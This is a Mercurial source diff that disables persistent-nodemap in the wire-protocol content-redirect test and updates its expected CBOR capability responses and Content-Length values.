b'\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00?\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff3\x90\xef\x85\x00s\xfb\xc2\xf0\xdf\xff"D4,\x8e\x92)\x01:\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00u992f4779029a3df8d0666d00bb924f69634e2641\ntest\n0 0\na\nb\n\ncommit 0\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00>\x00\x00\x00=\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xffD2\xd86&\xe8\xa9\x86U\xf0b\xec\x1f*C\xb0\x7f\x7f\xbb\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ua988fb43583e871d1ed5750ee074c6d840bbbfc8\ntest\n0 0\na\n\ncommit 1\x00\x00\x00\x00\x00~\x00\x00\x00\x00\x00N\x00\x00\x00W\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\xff\xff\xff\xff\xa4r\xd2\xea\x96U\x1a\x1e\xbb\x011-\xb2\xe6\xa7\x86\xd0F\x96o\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x9c%\xc5\xc1\t\xc0 \x0c\x05\xd0{\xa6p\x03cjI\xd71\xf9\x11\x00\x00\x00=\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xffD2\xd86&\xe8\xa9\x86U\xf0b\xec\x1f*C\xb0\x7f\x7f\xbb\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ua988fb43583e871d1ed5750ee074c6d840bbbfc8\ntest\n0 0\na\n\ncommit 1\x00\x00\x00\x00\x00~\x00\x00\x00\x00\x00N\x00\x00\x00W\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\xff\xff\xff\xff\xa4r\xd2\xea\x96U\x1a\x1e\xbb\x011-\xb2\xe6\xa7\x86\xd0F\x96o\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x9c%\xc5\xc1\t\xc0 \x0c\x05\xd0{\xa6p\x03cjI\xd71\xf9\x11\x00\x00\x00=\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xffD2\xd86&\xe8\xa9\x86U\xf0b\xec\x1f*C\xb0\x7f\x7f\xbb\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ua988fb43583e871d1ed5750ee074c6d840bbbfc8\ntest\n0 0\na\n\ncommit 1\x00\x00\x00\x00\x00~\x00\x00\x00\x00\x00Q\x00\x00\x00W\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\xff\xff\xff\xff\xa4r\xd2\xea\x96U\x1a\x1e\xbb\x011-\xb2\xe6\xa7\x86\xd0F\x96o\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\xb5/\xfd WE\x02\x00r\x04\x0f\x14\x90\x01\x0e#\xf7h$;NQC%\xf8f\xd7\xb1\x81\x8d+\x01\x16+)5\xa8\x19\xdaA\xae\xe3\x00\xe9v\xe2l\x05v\x19\x11\xd4\xc1onK\xa2\x17c\xb4\xf3\xe7 z\x13\x8f\x1c\xf3j4\x03\x03\x00`\x06\x84\x8b\x1a\n\x14\x00\x00\x00\x00\x00\xcf\x00\x00\x00\x00\x00C\x00\x00\x00B\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x02\xff\xff\xff\xff\x85kg{\x94a\x12i\xc5lW5[\x85\xf9\x95|\xfc\xc1\xb9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00u90231ddca36fa178a0eed99bd03078112487dda3\ntest\n0 0\ndir1/f\n\ncommit 3', (zstd !) b'' ] diff -r bc268ea9f984 -r f67b8946bb1b tests/test-wireproto-content-redirects.t --- a/tests/test-wireproto-content-redirects.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-wireproto-content-redirects.t Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,10 @@ $ . $TESTDIR/wireprotohelpers.sh +persistent-nodemap is not enabled by default. It is not relevant for this test so disable it. + $ cat >> $HGRCPATH << EOF + > [format] + > use-persistent-nodemap = no > [extensions] > blackbox = > [blackbox] @@ -66,9 +70,9 @@ s> Server: testing stub value\r\n s> Date: $HTTP_DATE$\r\n s> Content-Type: application/mercurial-cbor\r\n - s> Content-Length: 2308\r\n + s> Content-Length: 2289\r\n s> \r\n - s> \xa3GapibaseDapi/Dapis\xa1Pexp-http-v2-0003\xa5Hcommands\xacIbranchmap\xa2Dargs\xa0Kpermissions\x81DpullLcapabilities\xa2Dargs\xa0Kpermissions\x81DpullMchangesetdata\xa2Dargs\xa2Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84IbookmarksGparentsEphaseHrevisionIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullHfiledata\xa2Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x83HlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDpath\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullIfilesdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84NfirstchangesetHlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDdictIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullTrecommendedbatchsize\x19\xc3PEheads\xa2Dargs\xa1Jpubliconly\xa3Gdefault\xf4Hrequired\xf4DtypeDboolKpermissions\x81DpullEknown\xa2Dargs\xa1Enodes\xa3Gdefault\x80Hrequired\xf4DtypeDlistKpermissions\x81DpullHlistkeys\xa2Dargs\xa1Inamespace\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullFlookup\xa2Dargs\xa1Ckey\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullLmanifestdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x82GparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDtree\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullTrecommendedbatchsize\x1a\x00\x01\x86\xa0Gpushkey\xa2Dargs\xa4Ckey\xa2Hrequired\xf5DtypeEbytesInamespace\xa2Hrequired\xf5DtypeEbytesCnew\xa2Hrequired\xf5DtypeEbytesCold\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpushPrawstorefiledata\xa2Dargs\xa2Efiles\xa2Hrequired\xf5DtypeDlistJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDlistKpermissions\x81DpullQframingmediatypes\x81X&application/mercurial-exp-framing-0006Rpathfilterprefixes\xd9\x01\x02\x82Epath:Lrootfilesin:Nrawrepoformats\x83LgeneraldeltaHrevlogv1LsparserevlogHredirect\xa2Fhashes\x82Fsha256Dsha1Gtargets\x81\xa5DnameHtarget-aHprotocolDhttpKsnirequired\xf4Ktlsversions\x82C1.2C1.3Duris\x81Shttp://example.com/Nv1capabilitiesY\x01\xf7batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + s> \xa3GapibaseDapi/Dapis\xa1Pexp-http-v2-0003\xa5Hcommands\xacIbranchmap\xa2Dargs\xa0Kpermissions\x81DpullLcapabilities\xa2Dargs\xa0Kpermissions\x81DpullMchangesetdata\xa2Dargs\xa2Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84IbookmarksGparentsEphaseHrevisionIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullHfiledata\xa2Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x83HlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDpath\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullIfilesdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84NfirstchangesetHlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDdictIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullTrecommendedbatchsize\x19\xc3PEheads\xa2Dargs\xa1Jpubliconly\xa3Gdefault\xf4Hrequired\xf4DtypeDboolKpermissions\x81DpullEknown\xa2Dargs\xa1Enodes\xa3Gdefault\x80Hrequired\xf4DtypeDlistKpermissions\x81DpullHlistkeys\xa2Dargs\xa1Inamespace\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullFlookup\xa2Dargs\xa1Ckey\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullLmanifestdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x82GparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDtree\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullTrecommendedbatchsize\x1a\x00\x01\x86\xa0Gpushkey\xa2Dargs\xa4Ckey\xa2Hrequired\xf5DtypeEbytesInamespace\xa2Hrequired\xf5DtypeEbytesCnew\xa2Hrequired\xf5DtypeEbytesCold\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpushPrawstorefiledata\xa2Dargs\xa2Efiles\xa2Hrequired\xf5DtypeDlistJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDlistKpermissions\x81DpullQframingmediatypes\x81X&application/mercurial-exp-framing-0006Rpathfilterprefixes\xd9\x01\x02\x82Epath:Lrootfilesin:Nrawrepoformats\x83LgeneraldeltaHrevlogv1LsparserevlogHredirect\xa2Fhashes\x82Fsha256Dsha1Gtargets\x81\xa5DnameHtarget-aHprotocolDhttpKsnirequired\xf4Ktlsversions\x82C1.2C1.3Duris\x81Shttp://example.com/Nv1capabilitiesY\x01\xe4batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (remote redirect target target-a is compatible) (tls1.2 !) (remote redirect target target-a requires unsupported TLS versions: 1.2, 1.3) (no-tls1.2 !) sending capabilities command @@ -396,9 +400,9 @@ s> Server: testing stub value\r\n s> Date: $HTTP_DATE$\r\n s> Content-Type: application/mercurial-cbor\r\n - s> Content-Length: 2335\r\n + s> Content-Length: 2316\r\n s> \r\n - s> \xa3GapibaseDapi/Dapis\xa1Pexp-http-v2-0003\xa5Hcommands\xacIbranchmap\xa2Dargs\xa0Kpermissions\x81DpullLcapabilities\xa2Dargs\xa0Kpermissions\x81DpullMchangesetdata\xa2Dargs\xa2Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84IbookmarksGparentsEphaseHrevisionIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullHfiledata\xa2Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x83HlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDpath\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullIfilesdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84NfirstchangesetHlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDdictIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullTrecommendedbatchsize\x19\xc3PEheads\xa2Dargs\xa1Jpubliconly\xa3Gdefault\xf4Hrequired\xf4DtypeDboolKpermissions\x81DpullEknown\xa2Dargs\xa1Enodes\xa3Gdefault\x80Hrequired\xf4DtypeDlistKpermissions\x81DpullHlistkeys\xa2Dargs\xa1Inamespace\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullFlookup\xa2Dargs\xa1Ckey\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullLmanifestdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x82GparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDtree\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullTrecommendedbatchsize\x1a\x00\x01\x86\xa0Gpushkey\xa2Dargs\xa4Ckey\xa2Hrequired\xf5DtypeEbytesInamespace\xa2Hrequired\xf5DtypeEbytesCnew\xa2Hrequired\xf5DtypeEbytesCold\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpushPrawstorefiledata\xa2Dargs\xa2Efiles\xa2Hrequired\xf5DtypeDlistJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDlistKpermissions\x81DpullQframingmediatypes\x81X&application/mercurial-exp-framing-0006Rpathfilterprefixes\xd9\x01\x02\x82Epath:Lrootfilesin:Nrawrepoformats\x83LgeneraldeltaHrevlogv1LsparserevlogHredirect\xa2Fhashes\x82Fsha256Dsha1Gtargets\x82\xa3DnameHtarget-aHprotocolDhttpDuris\x81Shttp://example.com/\xa3DnameHtarget-bHprotocolGunknownDuris\x81Vunknown://example.com/Nv1capabilitiesY\x01\xf7batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + s> \xa3GapibaseDapi/Dapis\xa1Pexp-http-v2-0003\xa5Hcommands\xacIbranchmap\xa2Dargs\xa0Kpermissions\x81DpullLcapabilities\xa2Dargs\xa0Kpermissions\x81DpullMchangesetdata\xa2Dargs\xa2Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84IbookmarksGparentsEphaseHrevisionIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullHfiledata\xa2Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x83HlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDpath\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullIfilesdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84NfirstchangesetHlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDdictIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullTrecommendedbatchsize\x19\xc3PEheads\xa2Dargs\xa1Jpubliconly\xa3Gdefault\xf4Hrequired\xf4DtypeDboolKpermissions\x81DpullEknown\xa2Dargs\xa1Enodes\xa3Gdefault\x80Hrequired\xf4DtypeDlistKpermissions\x81DpullHlistkeys\xa2Dargs\xa1Inamespace\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullFlookup\xa2Dargs\xa1Ckey\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullLmanifestdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x82GparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDtree\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullTrecommendedbatchsize\x1a\x00\x01\x86\xa0Gpushkey\xa2Dargs\xa4Ckey\xa2Hrequired\xf5DtypeEbytesInamespace\xa2Hrequired\xf5DtypeEbytesCnew\xa2Hrequired\xf5DtypeEbytesCold\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpushPrawstorefiledata\xa2Dargs\xa2Efiles\xa2Hrequired\xf5DtypeDlistJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDlistKpermissions\x81DpullQframingmediatypes\x81X&application/mercurial-exp-framing-0006Rpathfilterprefixes\xd9\x01\x02\x82Epath:Lrootfilesin:Nrawrepoformats\x83LgeneraldeltaHrevlogv1LsparserevlogHredirect\xa2Fhashes\x82Fsha256Dsha1Gtargets\x82\xa3DnameHtarget-aHprotocolDhttpDuris\x81Shttp://example.com/\xa3DnameHtarget-bHprotocolGunknownDuris\x81Vunknown://example.com/Nv1capabilitiesY\x01\xe4batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (remote redirect target target-a is compatible) (remote redirect target target-b uses unsupported protocol: unknown) sending capabilities command @@ -731,9 +735,9 @@ s> Server: testing stub value\r\n s> Date: $HTTP_DATE$\r\n s> Content-Type: application/mercurial-cbor\r\n - s> Content-Length: 2295\r\n + s> Content-Length: 2276\r\n s> \r\n - s> \xa3GapibaseDapi/Dapis\xa1Pexp-http-v2-0003\xa5Hcommands\xacIbranchmap\xa2Dargs\xa0Kpermissions\x81DpullLcapabilities\xa2Dargs\xa0Kpermissions\x81DpullMchangesetdata\xa2Dargs\xa2Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84IbookmarksGparentsEphaseHrevisionIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullHfiledata\xa2Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x83HlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDpath\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullIfilesdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84NfirstchangesetHlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDdictIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullTrecommendedbatchsize\x19\xc3PEheads\xa2Dargs\xa1Jpubliconly\xa3Gdefault\xf4Hrequired\xf4DtypeDboolKpermissions\x81DpullEknown\xa2Dargs\xa1Enodes\xa3Gdefault\x80Hrequired\xf4DtypeDlistKpermissions\x81DpullHlistkeys\xa2Dargs\xa1Inamespace\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullFlookup\xa2Dargs\xa1Ckey\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullLmanifestdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x82GparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDtree\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullTrecommendedbatchsize\x1a\x00\x01\x86\xa0Gpushkey\xa2Dargs\xa4Ckey\xa2Hrequired\xf5DtypeEbytesInamespace\xa2Hrequired\xf5DtypeEbytesCnew\xa2Hrequired\xf5DtypeEbytesCold\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpushPrawstorefiledata\xa2Dargs\xa2Efiles\xa2Hrequired\xf5DtypeDlistJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDlistKpermissions\x81DpullQframingmediatypes\x81X&application/mercurial-exp-framing-0006Rpathfilterprefixes\xd9\x01\x02\x82Epath:Lrootfilesin:Nrawrepoformats\x83LgeneraldeltaHrevlogv1LsparserevlogHredirect\xa2Fhashes\x82Fsha256Dsha1Gtargets\x81\xa4DnameNtarget-bad-tlsHprotocolEhttpsKsnirequired\xf5Duris\x81Thttps://example.com/Nv1capabilitiesY\x01\xf7batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + s> \xa3GapibaseDapi/Dapis\xa1Pexp-http-v2-0003\xa5Hcommands\xacIbranchmap\xa2Dargs\xa0Kpermissions\x81DpullLcapabilities\xa2Dargs\xa0Kpermissions\x81DpullMchangesetdata\xa2Dargs\xa2Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84IbookmarksGparentsEphaseHrevisionIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullHfiledata\xa2Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x83HlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDpath\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullIfilesdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84NfirstchangesetHlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDdictIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullTrecommendedbatchsize\x19\xc3PEheads\xa2Dargs\xa1Jpubliconly\xa3Gdefault\xf4Hrequired\xf4DtypeDboolKpermissions\x81DpullEknown\xa2Dargs\xa1Enodes\xa3Gdefault\x80Hrequired\xf4DtypeDlistKpermissions\x81DpullHlistkeys\xa2Dargs\xa1Inamespace\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullFlookup\xa2Dargs\xa1Ckey\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullLmanifestdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x82GparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDtree\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullTrecommendedbatchsize\x1a\x00\x01\x86\xa0Gpushkey\xa2Dargs\xa4Ckey\xa2Hrequired\xf5DtypeEbytesInamespace\xa2Hrequired\xf5DtypeEbytesCnew\xa2Hrequired\xf5DtypeEbytesCold\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpushPrawstorefiledata\xa2Dargs\xa2Efiles\xa2Hrequired\xf5DtypeDlistJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDlistKpermissions\x81DpullQframingmediatypes\x81X&application/mercurial-exp-framing-0006Rpathfilterprefixes\xd9\x01\x02\x82Epath:Lrootfilesin:Nrawrepoformats\x83LgeneraldeltaHrevlogv1LsparserevlogHredirect\xa2Fhashes\x82Fsha256Dsha1Gtargets\x81\xa4DnameNtarget-bad-tlsHprotocolEhttpsKsnirequired\xf5Duris\x81Thttps://example.com/Nv1capabilitiesY\x01\xe4batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash (redirect target target-bad-tls requires SNI, which is unsupported) sending capabilities command s> setsockopt(6, 1, 1) -> None (?) @@ -1055,9 +1059,9 @@ s> Server: testing stub value\r\n s> Date: $HTTP_DATE$\r\n s> Content-Type: application/mercurial-cbor\r\n - s> Content-Length: 2301\r\n + s> Content-Length: 2282\r\n s> \r\n - s> \xa3GapibaseDapi/Dapis\xa1Pexp-http-v2-0003\xa5Hcommands\xacIbranchmap\xa2Dargs\xa0Kpermissions\x81DpullLcapabilities\xa2Dargs\xa0Kpermissions\x81DpullMchangesetdata\xa2Dargs\xa2Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84IbookmarksGparentsEphaseHrevisionIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullHfiledata\xa2Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x83HlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDpath\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullIfilesdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84NfirstchangesetHlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDdictIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullTrecommendedbatchsize\x19\xc3PEheads\xa2Dargs\xa1Jpubliconly\xa3Gdefault\xf4Hrequired\xf4DtypeDboolKpermissions\x81DpullEknown\xa2Dargs\xa1Enodes\xa3Gdefault\x80Hrequired\xf4DtypeDlistKpermissions\x81DpullHlistkeys\xa2Dargs\xa1Inamespace\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullFlookup\xa2Dargs\xa1Ckey\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullLmanifestdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x82GparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDtree\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullTrecommendedbatchsize\x1a\x00\x01\x86\xa0Gpushkey\xa2Dargs\xa4Ckey\xa2Hrequired\xf5DtypeEbytesInamespace\xa2Hrequired\xf5DtypeEbytesCnew\xa2Hrequired\xf5DtypeEbytesCold\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpushPrawstorefiledata\xa2Dargs\xa2Efiles\xa2Hrequired\xf5DtypeDlistJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDlistKpermissions\x81DpullQframingmediatypes\x81X&application/mercurial-exp-framing-0006Rpathfilterprefixes\xd9\x01\x02\x82Epath:Lrootfilesin:Nrawrepoformats\x83LgeneraldeltaHrevlogv1LsparserevlogHredirect\xa2Fhashes\x82Fsha256Dsha1Gtargets\x81\xa4DnameNtarget-bad-tlsHprotocolEhttpsKtlsversions\x82B42B39Duris\x81Thttps://example.com/Nv1capabilitiesY\x01\xf7batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + s> 